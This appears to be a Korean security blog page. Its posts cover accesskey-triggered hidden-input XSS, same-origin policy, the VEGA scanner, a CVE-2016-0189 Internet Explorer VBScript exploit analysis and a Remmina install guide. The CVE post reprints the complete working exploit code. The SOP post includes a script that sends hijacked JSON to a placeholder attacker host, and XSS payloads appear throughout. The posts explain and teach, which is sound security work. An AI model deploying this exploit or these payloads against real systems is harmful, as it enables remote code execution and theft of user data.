12/29/2016

[WEB HACKING] HTML AccessKey and Hidden XSS (Trigger AccessKey and Hidden XSS)


예전에 hidden xss 관련해서 포스팅한적이 있습니다. input 내 hidden 속성을 가질 시 일반적으로 xss가 어렵지만, 조건에 따라 동작이 가능한 XSS도 있지요.



이 기법에서 사용되는 accesskey 에 대한 이야기를 할까 합니다.
hidden xss 기법은 아래 링크 참고해주세요.
http://www.hahwul.com/2016/06/web-hacking-hiddenxss-xss-in-hidden.html

HTML AccessKey?

먼저 AccessKey는 HTML내 단축키를 이용하여 각각 객체나 행위를 수행하기 위해 만들어진 속성입니다.
웹페이지 개발 시 잘 사용한다면 아주 편리한 부분들을 만들어낼 수 있습니다.

물론 공격자는 이를 이용해서 Hidden XSS를 성공 시킬 수 있겠지만요.

간단한 코드로 보겠습니다.

<html>
<body>
  <a accesskey="X" onclick="console.log('accesskey -> onclick -> console.log() function');">
</body>
</html>
이렇게 코드를 작성 후 페이지 로드, Alt+Shift+x 를 통해서 트리거 시키면.. 콘솔에 로그가 찍히는 것을 볼 수 있습니다.

accesskey -> onclick -> console.log() function

아주 간단하죠? accesskey 를 통해서 a 태그에 클릭, 포커스한 것과 같은 이벤트를 발생시키기 때문에 onclick 메소드가 실행되고 내부에 있던 console.log() 함수가 실행되어 로그가 찍히게 됩니다.

AccessKey letters for button and anchor elements

Browser Operating System Key Combination Button Behavior Anchor Behavior
Chrome 7.0.517.41 Linux Alt + letter Clicks the button (3) Clicks the anchor (3)
Chrome 7.0.517.41 Mac OS X Control + Option + letter Clicks the button (3) Clicks the anchor (3)
Chrome 7.0.517.41 Windows Alt + letter Clicks the button (3) Clicks the anchor (3)
Firefox 1.5 Windows Alt + letter Clicks the button (1) Unknown
Firefox 2 Linux Alt + Shift + letter Clicks the button (1) Clicks the anchor
Firefox 2 Mac OS X Control + letter Clicks the button (1) Clicks the anchor
Firefox 2 Windows Alt + Shift + letter Clicks the button (1) Unknown
Firefox 3 Linux Alt + Shift + letter Clicks the button (1) Clicks the anchor
Firefox 3 Mac OS X Control + letter Clicks the button (1) Clicks the anchor
Firefox 3 Windows Alt + Shift + letter Clicks the button (1) Clicks the anchor
Internet Explorer 6 Windows Alt + letter Sets focus on the button (2) Unknown
Internet Explorer 7 Windows Alt + letter Sets focus on the button (2) Sets focus on the anchor (2)
Internet Explorer 8 Windows Alt + letter Clicks the button (3) Sets focus on the anchor (2)
Internet Explorer 9 (beta) Windows Alt + letter Clicks the button (3) Sets focus on the anchor (2)
Safari 3.1.2 Mac OS X Control + Option + letter Clicks the button (3) Clicks the anchor (3)
Safari 3.1.2 Windows Alt + letter Clicks the button (3) Clicks the anchor (3)
Safari 5.0.2 Mac OS X Control + Option + letter Clicks the button (3) Clicks the anchor (3)
Safari 5.0.2 Windows Alt + letter Clicks the button (3) Clicks the anchor (3)
(https://formattc.wordpress.com/2010/11/03/browsers-and-the-html-accesskey/)

AccessKey와 Hidden XSS

AccessKey를 이용하면 키 트리거를 이용하여 어떠한 액션을 수행할 수 있습니다. 아래와 같은 코드를 작성하고 키를 트리거해 보시면..

<html>
<body>
  <input type=button accesskey="X" onclick="alert(45)">
</body>
</html>
Alt+Shift+x 시 팝업이 나타나게 됩니다. 이는 Firefox 이외에도 Chrome 등 여러 브라우저도 동일하게 동작합니다. 공격자는 이를 통해 Click 이벤트를 직접 발생시키지 않아도 다른 키 트리거를 통해 쉽게 공격코드를 실행시킬 수 있지요.

여기서 Firefox는 아주 재미있는 문제점을 가지고있습니다. AccessKey 속성의 영향력이 hidden type의 input tag에서도 적용된다는점이죠.

이전에 Hidden XSS에서도 약간 설명드린 내용이긴 하지만 조금 더 풀어서 설명드릴까 합니다.

<html>
<body>
  <input type="hidden" accesskey="X" onclick="alert(45)">
</body>
</html>
위 코드로 페이지를 만든 후 Chrome으로 붙어서 똑같이 Alt+Shift+x로 트리거하면 스크립트가 동작하지 않습니다. 이는 accesskey를 통해 트리거 시 위에서 설명드린 내용처럼 해당 Object에 포커스가 잡히기 때문입니다.
hidden type은 투명하게 처리하는 것이 아닌 페이지에서 객체가 사라지기 때문에 트리거될 수 없죠.

그러나 Firefox에서는 이 부분이 버그로 남아있습니다. 그래서 동일한 코드로 트리거 시키면..
의도한 구문이 실행되게 됩니다.

Reference

https://formattc.wordpress.com/2010/11/03/browsers-and-the-html-accesskey/
http://www.hahwul.com/2016/06/web-hacking-hiddenxss-xss-in-hidden.html
Share: | Coffee Me:

[TIP] Name of Special Characters for Hacker, Programmer (특수문자의 이름)


보안전문가나 개발자같이 실무적인 IT 업무를 하다보면 특수문자에 대해 설명해야할 때가 많이 있습니다.
저 또한 개발자에게 매번 설명해야하고, 그 과정에서 특수문자에 대한 언급이 많기 때문에 모르는 부분은 일부러 찾아서 정리해두고 했습니다. 생각해보니 이런 내용은 공유되면 좋을 것 같더라구요.

그래서 이번 포스팅에선 특수문자의 이름에 대한 내용으로 짧게 작성하겠습니다.

Name of Special Characters


&#x21;&#x40;&#x23;&#x24;&#x25;
Special CharactersHTML CharactersDescription
!&#x21;Exclamation mark
@&#x40;At sign
#&#x23;Sharp, Hashtag, Number sign
$&#x24;Dollor
%&#x25;Percent
^&#x5e;Circumflex accent
&&#x26;Ampersand (포인터 친구)
*&#x2a;Asterisk (주소값의 친구)
(&#x28;Left parenthesis
)&#x29;Right parenthesis
<&#x3c;Less than sign (인코딩 &lt;의 의미)
>&#x3e;Greater than sign (인코딩 &gt;의 의미)
?&#x3f;Question mark
[&#x5b;Left Square Bracket
]&#x5d;Right Square Bracket
{&#x7b;Left Curly Bracket
}&#x7d;Right Curly Bracket
:&#x3a;Colon
;&#x3b;Semicolon (학생 때 에러의 주범)
"&#x22;Quotation, Double Quot
'&#x27;Apostrophe, Single Quot
=&#x3d;Equal sign
-&#x2d;Hyphen-minus
_&#x5f;Low line
`&#x60;Grave accent


Reference

https://en.wikipedia.org/wiki/List_of_Unicode_characters
Share: | Coffee Me:

12/06/2016

[WEB HACKING] SOP(Same-Origin Policy)와 Web Security


오늘은 웹 해킹에 대한 기법이라기 보단.. 웹 해킹 시 발목을 잡는 친구인 Same-origin policy
즉 동일 출처 정책에 대해 정리해볼까 합니다. 음..사실 글은 아주아주 예전에 써놨는데,
바쁘단 핑계로 이제서야 작성하게 되네요..

Same-Origin Policy?

Same-Origin Policy(동일 출처 정책)는 웹 사이트간 정보 교류에 제한을 두는 정책입니다.
당연히! 보안적이 문제로 인해서 제한을 두는거지요.

mozila 개발자 사이트에서는 아래와 같이 정의되어 있습니다.

"The same-origin policy restricts how a document or script loaded from one origin can interact with a resource from another origin. It is a critical security mechanism for isolating potentially malicious documents."



ajax 요청, iframe 등 원격지에 데이터를 쓰고 읽는 태그, 스크립트는 모두 이 정책에 영향을 받습니다. 그래서 아래와 같이 같은 도메인에서만 기능을 수행할 수 있죠.

Source Script
http://www.hahwul.com

Target Domain
http://www.hahwul.com (o)
http://www.google.com (x)

iframe을 예를들어 더 볼게요. 각각 fid1과 fid2 iframe 은 로컬주소와 원격주소를 frame 데이터로 사용합니다.

<iframe src="http://127.0.0.1/123.html" name=fid1></iframe>
<iframe src="http://192.168.0.8/123.html" name=fid2></iframe>

<script>

fid1 = getElementById("fid1");
fid2 = getElementById("fid2");

fid1.contentDocument.write("<h1>123</h1>")
fid2.contentDocument.write("<h1>123</h1>")

</script>
이러고 http://127.0.0.1에서 접근하면 위 스크립트가 실행됩니다.
document 에 접근하면 두 결과는 약간의 차이를 보입니다.

동일 도메인인 fid1은 123이라는 글자가 잘 반영되고,
다른 도메인인 fid2는 아래와 같은 에러가 발생합니다.

VM617:1 Uncaught DOMException: Failed to read the 'contentDocument' property from 'HTMLIFrameElement': Blocked a frame with origin "http://127.0.0.1" from accessing a cross-origin frame.(…)

이제 어느정도 차이를 아시겠죠?

Why?


간단한 예시로 ajax를 이용한 JSON 요청과 CSRF를 예를들겠습니다

웹 서비스는 XMLHttpReuqest, ajax, jquery 등 Javascript 를 이용해서 웹 서버간 데이터를 보내고 받을 수 있고, 그 내용을 서비스에 쉽게 반영할 수 있습니다.

자 이제 어떤 서비스는 자신에 대한 개인정보를 JSON으로 요청해서 받아와 페이지에 반영한다고 칩시다.
음.. 발생하는 요청은

Request

POST /myinfo.json HTTP/1.1
Host: ~~~~~
Referer: ~~~~

Response

{"name":"test","phone":"1231231231231"}

이런식으로 전화번호를 받아 페이지에 반영합니다.
해당 요청은 별도 토큰으로 검증하는 로직이 없고 Referer 헤더에 대해서도 체크하지 않습니다. 그렇다면
공격자는 CSRF를 이용해 사용자가 자신의 정보를 받아오도록 유도하고, JSON 데이터에 대해 Hijacking 하여
그 정보를 공격자 서버로 전송할 수 있게 합니다.

공격자 코드(예시)

<script>
$.ajax({
        ~~~.json 전송 구간
        success: function (result) {
            switch (result) {
                case true:
                    document.write("<img src='attacker.domainzz/?"+result+"' style='display:none'>");
                    break;
                default:
                    resultDiv.html(result);
            }
        },
        error: function (xhr, ajaxOptions, thrownError) {
        }
    });
</script>
뭐 이런식으로 구성되겠죠. result 에 대해 공격자 서버로 바로 전달되게..

물론 이런 방식은 Same-Origin 이외에도 여러 보안장치들이 없을 때 가능합니다.
(대부분 없..)

이런 행위를 방지하기 위해서 Same-Origin 정책이 생겨납니다.
CSRF 코드가 삽입되는 부분이 동일한 도메인이 아니면 공격에 실패하게 되죠.

Reference

https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
Share: | Coffee Me:

11/22/2016

[WEB HACKING] Web Vulnerability scanning with VEGA WVS(VAGA를 이용한 웹 취약점 스캔)

오랜만에 툴 소개를 합니다. 오래전부터 써오던 WVS(Web Vulnerability Scanner)인데요.. 생각해보니 한번도 블로그에서 다룬적이 없었네요.


VEGA?

베가는 SUBGRAPH에서 개발한 무료 웹 취약점 진단 스캐너입니다. UI도 깔끔하고 비 상용인 다른 WVS에 비해 성능도 우수하고 하여 제가 애용하는 스캐너 중 하나죠.

먼저 Java 기반으로 작성되고 JVM을 통해 동작하기 때문에 플랫폼의 영향을 받지 않습니다. 음.. 좀 더 정확히 말하면 Java가 있다면 실행이 가능하다는 소리죠. 이러한 점은 굉장히 장점으로 부각됩니다. 저의 경우 개인적으로는 Linux 만 사용하지만 일도 해야하는지라 환경 자체는 Linux + Windows 위주로 사용하는데, 만약 한쪽 플랫폼만 지원했다면 약간 불편한점이 많이 있었겠죠.



오탐에 대한 이야기도 할까합니다. 이 툴은 오픈소스치곤 탐지율이 좋습니다. 그말인 즉슨 오탐율도 높은편이니 결과에 대해 체킹을 잘 해보셔야 할 것 같습니다.

마지막으로 확장성입니다. VEGA는 각각 스캔 모듈에 대해 확장이 가능합니다. VEGA의 Jar 파일을 까보신분이 얼마나 있을지는 모르겠지만.. 이 툴의 재미있는점은 Java base 내에서 Web 기반 UI를 사용한다는 점이죠.
HTML/CSS를 조금 손본다면 리포팅에 대해서도 좀 더 편리하게 수정할 수 있겠죠.

이런점은 모듈 구성에서도 적용됩니다. VEGA는 Javascript 기반 모듈을 지원하며, 필요한 모듈이 있다면 JS로 작성해서 넣어주시면 사용이 가능하죠. 이런점에 있어 참 매력적인 툴입니다.

DOWNLOAD & INSTALL

VEGA 제작사인 SUBGRAPH 홈페이지에 들어가시면 쉽게 다운로드 받을 수 있습니다.
위에서 말씀드려듯이 Java base이기 때문에 OS와 관계없이 동작할 수 있고 Download 링크에서도 Linux, Mac, Windows 등 여러가지 설치 파일을 제공합니다.

먼저 다운로드 페이지로 접근합니다.
(https://subgraph.com/vega/download/index.en.html)


아래 보시면 각각 종류별 파일이 있고 OS에 맞게 다운로드해주시면 됩니다.



#> unzip VegaBuild-linux.gtk.x86_64.zip 
Archive:  VegaBuild-linux.gtk.x86_64.zip
   creating: vega/
   creating: vega/plugins/
  inflating: vega/plugins/com.google.guava_14.0.1.jar  
  inflating: vega/plugins/org.jsoup_1.7.3.SNAPSHOT.jar

압축해제된 디렉토리로 이동 후 Vega 파일을 실행해주시면 WVS가 열립니다.

#> cd  vega
#> ./Vega



Troubleshooting 관련해서..
VEGA는 libwebkitgtk 라이브러리를 사용합니다. 만약 linux 사용자 중 해당 라이브러리가 깔려있지 않다면 에러가 발생할 수 있으니 apt나 yum을 통해 설치해줍니다.

Debian&Ubuntu
#> apt-get install libwebkitgtk-1.0

Fedora
#> yum install webkitgtk

USAGE1 - UI

VEGA의 UI는 크게 3부분으로 나누어 볼 수 있습니다.



좌측 상단은 Target list에 대한 정보, 좌측 하단은 발견된 취약점, 우측은 각각 부분에 대한 상세 내용을 의미합니다. GUI로 되어있어 사실 스캔 방법이나 이런걸 굳이 작성해야하나.. 했지만 그래도 있으면 좋을 것 같아서 포함해봅니다.

USAGE2 - Scan target

스캔은 아주 간단합니다. 메뉴표시줄의 Scan > Start New Scan 이나 아이콘, 또는 단축키를 통해 Scan Wizard를 열어줍니다.



Target에 대한 정보 입력을 하면 Module 에 대한 선택지가 나타납니다.
크게 2가지로 분류되어 있습니다 .

- Injection testing
- Response base testing

그다음은 쿠키설정입니다. 아래와 같이
aaa=aaa 이런식으로 작성해서 넣어주시면 됩니다.



이런면은 Acunetix의 login squince 기능이 참 좋은 것 같네요.

그다음.. 돌려주시면 취약점 스캔을 시작합니다.




USAGE3 - Edit Preferences

설정에 대한 변경 방법입니다. 다 메뉴에 있어서 어렵지 않습니다.
일단 설정 메뉴는 메뉴표시줄의 Windows > Preferences 에 있습니다.



각각 General, Proxy, Scanner 항목들이 있고 쓰레드 수, User-Agent 등 스캔에 대한 설정들을 변경할 수 있습니다.


Reference

https://subgraph.com/vega/
Share: | Coffee Me:

11/19/2016

[EXPLOIT] IE VBScript Engine Memory Corruption 분석(Analysis a CVE-2016-0189)


최근 메일로 포스팅 요청이 있어 CVE-2016-0189 분석글을 작성하려합니다. 메일 받은지는 좀 됬는데..
여전히 아직 저의 바쁨은 끝이 안나더군요. 틈틈히 작성하고, 퍼즐 조각 맞추기처럼 작성하여 포스팅을 올리게 되었습니다.

오늘의 주제인 2016-0189. 즉 IE에서 발생하는 Memory Corruption 오류는 서비스거부(DOS) 공격과 함께 Arbitrary code Execute가 가능하기 때문에 아주아주아주아주 위험한 취약점이죠. 올해 5월에 공식적인 패치가 나왔지만.. IE11 또한 타겟에 들어가기 때문에 패치되지 않은 IE라면 치명적인 결과를 보여줄 수 있겠네요.

차근차근 알아가 보도록 하겠습니다.



IE VBScript Engine Memory Corruption

CVE-NUMBER: CVE-2016-0189
취약 버전(Vulnerability Version)
Microsoft Internet Explorer
    - IE11
    - IE10
    - IE9
Inner Engine
    - JScript 5.8
    - VBScript 5.7
    - VBScript 5.8
영향력
Remote code execute
Denial of service

Script Engine이란?

시작하기 앞서 브라우저에서 사용하는 Script Engine에 대해 알고 시작하면 좋을 것 같습니다.
이름 그대로 웹 브라우저에서 스크립트를 처리해주는 엔진이죠. 이 친구들은 사용자 HTTP Request로 받아온 Response를 웹 브라우저에 표현하기 위해 뿌리게 되는데, 이 중에서 Javascript, VBscript 를 처리하기 위해서는 별도의 Script Engine이 필요하게 되죠.

IE 공격코드에 보면 많이 나오는 MSHTML 이라는 dll이 있는데 이 친구의 역할이 HTML을 뿌리는 역할이라면 오늘 Memory corruption에 사용된 Script Engine은 각각 언어로 된 스크립트를 처리하여 뿌리기 위한 엔진인거죠.
이 엔진이 동작하는 과정에서 메모리를 손상시키고, 이를 이용하여 공격자가 원하는 행위를 하게됩니다.

이 Exploit은 2가지의 취약점을 이용한 exploit인데, 아래 부분에서 조금 더 자세히 살펴보도록 하겠습니다.

Vulnerability Anlaysis Part1 - Missing a SafeArray lock in AccessArray

문제가 발생한 부분 중 첫번째는 vbscript.dll에 들어가는 AccessArray 함수입니다. 이 함수는 배열에 대해 access하는 부분인데,
함수 도중에 배열에 대한 보안장치가 존재하지 않아 공격자가 임의로 수정이 가능합니다.

여기서 보안장치라 하면 SafeArrayLock() 함수이고 접근 과정에는 수정될 수 없도록 안전하게 잠궈주는 함수입니다.

이 문제가 있는 AccessArray 함수를 사용하는 부분은 cDims, cbElements 등이 있습니다.
cDims 는 Dim, 즉 변수 선언 구간을 의미하기 때문에 Dim을 이용한 변수 생성 구간에서 저 부분을 통과한다고 볼 수 있죠.

ary라는 2차원 배열이 있다고 합시다.
이 배열을 사용할 때 AccessArray 함수가 호출되고 할당된 버퍼는 64,032Byte(16**2001)입니다. 물론 이 자체로는 크게 문제가 없지만 버퍼 크기가 Resize를 통해 작은 크기로 조정된다면 별도의 검증 로직이 없었기 때문에 OOB(Out-of-bound access)가 발생합니다. 공격자는 해당 배열에 값을 쓰고 Resize하고, Free를 통해 메모리에 조금씩 값을 쓸 수 있습니다. 요걸 반복해서 일정 영역의 메모리에 데이터를 쓰게하는거죠.

다 나왔네요. Array에 값을쓰고, Resize 하는 과정을 통해 OOB를 발생시키고, 이를 이용해서 메모리에 값을 쓸 수 있다면 프로그램의 흐름을 뒤바꿀 수 있는 포인트를 만든 것 입니다.

아래 Trigger POC에 Description을 좀 달아봤습니다.

<html>
<meta http-equiv="x-ua-compatible" content="IE=10">
<body>
    <script type="text/vbscript">
        Dim aw                                ' 코드가 실행되면 먼저 aw라는 변수를 생성합니다. 
                                              ' 아까 설명드린대로 AccessArray 함수는 cDims 부분, 즉 Dim을 이용한 변수 선언에서 호출됩니다.)
                                                                      
        Class ArrayWrapper                    ' 그리고 ArrayWrapper class 를 정의합니다. 
            Dim A()                           ' 여기에는 2가지 함수가 존재합니다. 
            Private Sub Class_Initialize      ' A. 초기화 함수(init!)
                ReDim Preserve A(1, 20000)    ' Preserve 옵션을 통해 A배열의 데이터를 유지하면서 크기를 1, 20000 으로 지정합니다. 
            End Sub
            Public Sub Resize()               ' B. Resize 함수
                ReDim Preserve A(1, 1)        ' Preserve 옵션을 통해 A배열의 데이터를 유지하면서 크기를 1,1로 지정합니다. 
            End Sub         
        End Class                             ' ※ Preserve 옵션: 재선언 시 기존 자료를 보존하며 재선언이 가능

        Function crash (arg1)                 ' 문제를 발생시키는 crash 함수입니다. 
            Set aw = New ArrayWrapper         ' 그냥 Dim으로 선언해둔 aw를 위에서 만든 ArrayWrapper class로 세팅합니다. 
                                              ' Class_initialize로 인해 ArrayWrapper 내 배열인 A가 1,20000인 2차원 배열로 세팅됩니다.
            MsgBox aw.A(arg1, 20000)          ' 인자값으로 입력 받은 o(triggerBug()가 포함된 익명함수)를 넘깁니다.  > triggerBug 가 트리거됨
        End Function

        Function triggerBug                   ' Bug를 Trigger 하는 부분입니다.
            aw.Resize()                       ' triggerBug 함수가 실행되면서 aw(ArrayWrapper) 클래스 내 Resize 함수를 호출합니다.
        End Function                          ' 선언부분에 보시면 아시겠지만 해당 함수는 Array의 사이즈를 1,1로 강제 변환하는 함수입니다. (Preserve 옵션)
    </script>

    <script type="text/javascript">
        alert(1);                                                                               
        var o = {"valueOf": function () { triggerBug(); return 1; }};    // 익명 함수를 이용하여 triggerBug 함수를 실행하고 aw(Array)를 Resize 합니다.
        setTimeout(function() {crash(o);}, 50);                          // 먼저 crach함수를 호출합니다. 인자값은 익명 함수가 포함된 o 변수입니다..
    </script>
</body>
</html> <!-- Description by HAHWUL -->

아래 그림순서로 보시면 좋을 것 같습니다.



큰 그림은 아주 간단합니다.
문제가 발생하는 부분은 AccessArray 가 실행될 때 배열에 대한 접근 제한(SafeArrayLock)가 호출되지 않아 발생하고,
공격자는 Array의 사이즈를 변경하며 원하는 메모리에 원하는 값을 채워나갑니다.

Vulnerability Anlaysis Part2 - IsUnsafeAllowed bypass

두번째는 IsUnsafeAllowed 함수입니다. 뜬금없이 이 함수는 왜 나오지 싶으실텐데, 이 함수는 브라우저의 SafeMode를 동작하는 함수 중 실행되는 함수입니다.

Part1 부분만으로는 완벽한 공격이 될 수 없습니다. MS, Chrome, Firefox 등은 각각 브라우저에 공격을 방지하는 많은 코드들이 들어가있고 해커는 그 방법까지 풀어야 완벽한 공격을 할 수 있습니다. 한번 새로운 보안장치가 나올 때 마다 해커들이 좀 힘들어하지만.. 그래도 어느샌가 풀려있고 그러죠.

아래 코드를 보시면 COleScript::OnEnterBreakPoint 가 실행되는 부분이 있습니다.

int  __thiscall COleScript::InSafeMode(COleScript *this, const struct _GUID *a2)
{
   signed int v2;
    v2 = 0;
   if(*((DWORD *)this + 93) & 0xB || !ColeScript::IsUnSafeAllow(a2))
   v2 = 1;
   return v2;
}
여기서 IsUnSafeAllow 함수는 내부적 결함을 가지고 있었습니다.
IsUnsafeAllowe 함수에 쓰인 OnEnterBreakPoint 함수는 무조건 1을 반환하는 더미함수가 존재합니다.
이 함수는 항상 1을 반환하기 때문에 IsUnsafeAllow 함수가 if문에서 절대 분기되지 않고 아래로 내려가게 되어있지요.

원래 의도대로라면 InUnSafeAllow가 실행되어도 내부 분기에서 체크 후 Unsafe로되거나 QueryProtectedPolicy를 실행하여 대응되게 되어있지만
분기문에서 절대 빠지지 않기 떄문에 호출만으로 SafeMode를 해제할 수 있습니다.

자 이제 공격자는 IsUnsafeAllow만 호출할 수 있다면 손쉽게 SafeMode를 해제할 수 있겠네요. (오우 GodMode!)



물론 현재는 이 문제에 대해 수정되었다고 하네요..

Analysis Exploit code

공격자가 제공해준 Exploit code는 총 5가지의 단계로 이루어집니다.

1. VBScriptClass instance 생성
2. class instance에 대한 주소값 획득
3. class instance를 이용하여 CSession 주소 수집
4. CSession instance를 이용하여 COleScript 주소 수집(왜 COleScript의 주소를 찾는지는 위를 잘 보셨다면 아시겠죠?)
5. ColeScript 내 SafetyOption에 대해 Overwrite

우리는 POC를 통해서 메모리의 값을 쓸 수 있는 점을 알게되었고, SafeMode 우회 방법까지 알게되었습니다.
그렇다면.. 계산기를 띄어야겠지요?
Exploit code 중 일부입니다. 위 5가지 단계에 대한 내용이죠.

  Function exploit (arg1)
            Dim addr
            Dim csession
            Dim olescript
            Dim mem

            ' Create a vbscript class instance
            Set dm = New Dummy
            ' Get address of the class instance  //  원본 주석과 같이 getAddr 함수를 통해 address 값을 찾습니다. 
            addr = getAddr(arg1, dm) 
            ' Leak CSession address from class instance   // IE Hacking에서 보안로직을 우회하기 위해서 대부분 infomation leakage가 들어가는데 요 부분입니다. 
            mem = leakMem(arg1, addr + 8)
            csession = strToInt(Mid(mem, 3, 2))
            ' Leak COleScript address from CSession instance // 여기도 info leak입니다.
            mem = leakMem(arg1, csession + 4)
            olescript = strToInt(Mid(mem, 1, 2))
            ' Overwrite SafetyOption in COleScript (e.g. god mode)
            ' e.g. changes it to 0x04 which is not in 0x0B mask
            overwrite arg1, olescript + &H174    ' 여기서 이제 SafetyOption 즉 SafeMode에 대해서 Overwrite 하게되고, 제한없이 사용가능한 일명 갓모드로 도입하게되죠.

            ' Execute notepad.exe   // VBscript 는 기본 보안설정으로 인해 Shell.Application.ShellExecute 함수를 사용할 수 없습니다. 
            Set Object = CreateObject("Shell.Application")  '// 다만 공격코드를 통해서 SafeMode에 대해 해제했기 때문에 사용이 가능해지죠. (갓모드의 힘)
            Object.ShellExecute "notepad"                        
        End Function
[highlight.js가 vbscript 인식을 못하네요. 싱글쿼터가 주석입니다.]
이러한 순서로 Exploit이 되게됩니다.

Full code

<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
    <script type="text/vbscript">
        Dim aw
        Dim plunge(32)
        Dim y(32)
        prefix = "%u4141%u4141"
        d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
        b = String(64000, "D")
        c = d & b
        x = UnEscape(c)

        Class ArrayWrapper
            Dim A()
            Private Sub Class_Initialize
                ' 2x2000 elements x 16 bytes / element = 64000 bytes
                ReDim Preserve A(1, 2000)
            End Sub

            Public Sub Resize()
                ReDim Preserve A(1, 1)
            End Sub
        End Class

        Class Dummy
        End Class

        Function getAddr (arg1, s)
            aw = Null
            Set aw = New ArrayWrapper

            For i = 0 To 32
                Set plunge(i) = s
            Next

            Set aw.A(arg1, 2) = s

            Dim addr
            Dim i
            For i = 0 To 31
                If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
                    addr = strToInt(Mid(y(i), 3 + 4, 2))
                End If
                y(i) = Null
            Next

            If addr = Null Then
                document.location.href = document.location.href
                Return
            End If

            getAddr = addr
        End Function

        Function leakMem (arg1, addr)
            d = prefix & "%u0008%u4141%u4141%u4141"
            c = d & intToStr(addr) & b
            x = UnEscape(c)

            aw = Null
            Set aw = New ArrayWrapper

            Dim o
            o = aw.A(arg1, 2)

            leakMem = o
        End Function

        Sub overwrite (arg1, addr)
            d = prefix & "%u400C%u0000%u0000%u0000"
            c = d & intToStr(addr) & b
            x = UnEscape(c)

            aw = Null
            Set aw = New ArrayWrapper

            ' Single has vartype of 0x04
            aw.A(arg1, 2) = CSng(0)
        End Sub

        Function exploit (arg1)
            Dim addr
            Dim csession
            Dim olescript
            Dim mem

            ' Create a vbscript class instance
            Set dm = New Dummy
            ' Get address of the class instance
            addr = getAddr(arg1, dm)
            ' Leak CSession address from class instance
            mem = leakMem(arg1, addr + 8)
            csession = strToInt(Mid(mem, 3, 2))
            ' Leak COleScript address from CSession instance
            mem = leakMem(arg1, csession + 4)
            olescript = strToInt(Mid(mem, 1, 2))
            ' Overwrite SafetyOption in COleScript (e.g. god mode)
            ' e.g. changes it to 0x04 which is not in 0x0B mask
            overwrite arg1, olescript + &H174

            ' Execute notepad.exe
            Set Object = CreateObject("Shell.Application")
            Object.ShellExecute "notepad"
        End Function

        Function triggerBug
            ' Resize array we are currently indexing
            aw.Resize()

            ' Overlap freed array area with our exploit string
            Dim i
            For i = 0 To 32
                ' 24000x2 + 6 = 48006 bytes
                y(i) = Mid(x, 1, 24000)
            Next
        End Function
    </script>

    <script type="text/javascript">
        function strToInt(s)
        {
            return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
        }
        function intToStr(x)
        {
            return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
        }
        var o;
        o = {"valueOf": function () {
                triggerBug();
                return 1;
            }};
        setTimeout(function() {exploit(o);}, 50);
    </script>
</body>
</html>

마지막으로

마지막으로 어떻게 그들이 취약점을 찾았는지 정리하고 마치도록 하겠습니다.
사실 대부분의 브라우저 취약점은 Fuzzing이나 우연찮게 만난 버그에서 시작됩니다.

Exploit 코드를 공개한 사람과 제보자는 다른 사람 or 다른 그룹으로 보입니다.
아마 기존에 MS쪽으로 제보한 사람이 있다면 위와 같은 방법일 가능성이 높지요.

이 Exploit 코드를 올린분들은 MS에서 올 5월에 패치된 내용을 역 분석하여 Exploit 코드를 만들어 냈네요.
아래 링크에도 잘 설명되어 있습니다.
(http://theori.io/research/cve-2016-0189)

5월 나온 MS 패치 내용을 bindiff를 통해 분석하였고, 그 중 vbscript.dll에서 눈에띄는 부분을 찾습니다.
아래 이미지를 보시면 AccessArray 즉 취약점이 존재했던 부분이 패치되었던 것이죠.

http://theori.io/research/cve-2016-0189


해당 부분에 IDA로 뒤져서 보게 되면 SafeArrayLock 함수가 추가된 것을 알 수 있지요.

http://theori.io/research/cve-2016-0189


제가 시간에 많이 쫒기다 보니 틈틈히 작성하게 되어 말이 이상하거나 틀린부분도 많이 있을겁니다. 
아무튼.. 긴 글 읽어주시느라 고생 많으셨고, 혹시나 잘못된 부분이나 이해안되는 부분이 있으시면 댓글로 남겨주세요.
감사합니다.

Reference

https://www.rapid7.com/db/modules/exploit/windows/browser/ms16_051_vbscript
https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0189
https://www.exploit-db.com/exploits/40118/
http://theori.io/research/cve-2016-0189
Share: | Coffee Me:

11/12/2016

[DEBIAN] Remmina - SSH/RDP/VNC Client (Remmina를 이용한 원격 쉘/데스크탑 관리하기)

많은 IT인들은 원격에서 작업하는 경우가 많습니다.
저 또한 서버단 작업을 위해서는 원격 연결을 사용하죠. 대체로 SSH!

오늘 소개해드릴 프로그램은 이런 SSH와 RDP(Remote Desktop), VNC 등 원격 연결을 위한 프로토콜을 하나의 관리툴로 사용/관리할 수 있는 매우 좋은 툴입니다.

Remmina?

remmina는 리눅스 기반의 원격 데스크탑 관리 툴입니다. 맨 위에서 소개해드린 것과 같이 대표적으로 SSH, RDP, VNC 등을 쉽게 접속하고 관리할 수 있습니다.

위키에서는 아래와 같이 정의하고 있네요.


Remmina is a remote desktop software client for Linux-based computer operating systems. It supports the RDP, VNC, NX, XDMCP, SPICE and SSH protocols.[2][3]

Remmina is in the package repositories for Debian versions 6 (Squeeze) and later and for Ubuntu versions since 10.04 (Lucid Lynx).[4][5] As of 11.04 (Natty Narwhal), it replaced tsclient as Ubuntu's default remote desktop client.[6][7]

Remmina, written in C, is a front-end of FreeRDP, a fork of rdesktop aiming at modularizing the code, addressing various issues, and implementing new features.

Remmina is available in three different packages; GTK+ application, GNOME application and the xfce panel plug-in.[8]

Install Remmina

먼저 사용을 위해서는 설치가 필요합니다. remmina는 debian 기본 패키지에 포함되어 있어서 우분투나 민트, 칼리 사용자와 같이 데비안 계열은 apt 패키지 매니저를 이용해서 설치할 수 있습니다.

#> apt-get install remmina
패키지 목록을 읽는 중입니다... 완료
의존성 트리를 만드는 중입니다      
상태 정보를 읽는 중입니다... 완료
다음 패키지를 더 설치할 것입니다:
  libfreerdp-plugins-standard libfreerdp1 remmina-common remmina-plugin-rdp remmina-plugin-vnc
제안하는 패키지:
  xfreerdp
다음 새 패키지를 설치할 것입니다:
  libfreerdp-plugins-standard libfreerdp1 remmina remmina-common remmina-plugin-rdp remmina-plugin-vnc
0개 업그레이드, 6개 새로 설치, 0개 제거 및 0개 업그레이드 안 함.
729 k바이트 아카이브를 받아야 합니다.
이 작업 후 2,541 k바이트의 디스크 공간을 더 사용하게 됩니다.
계속 하시겠습니까 [Y/n]? y
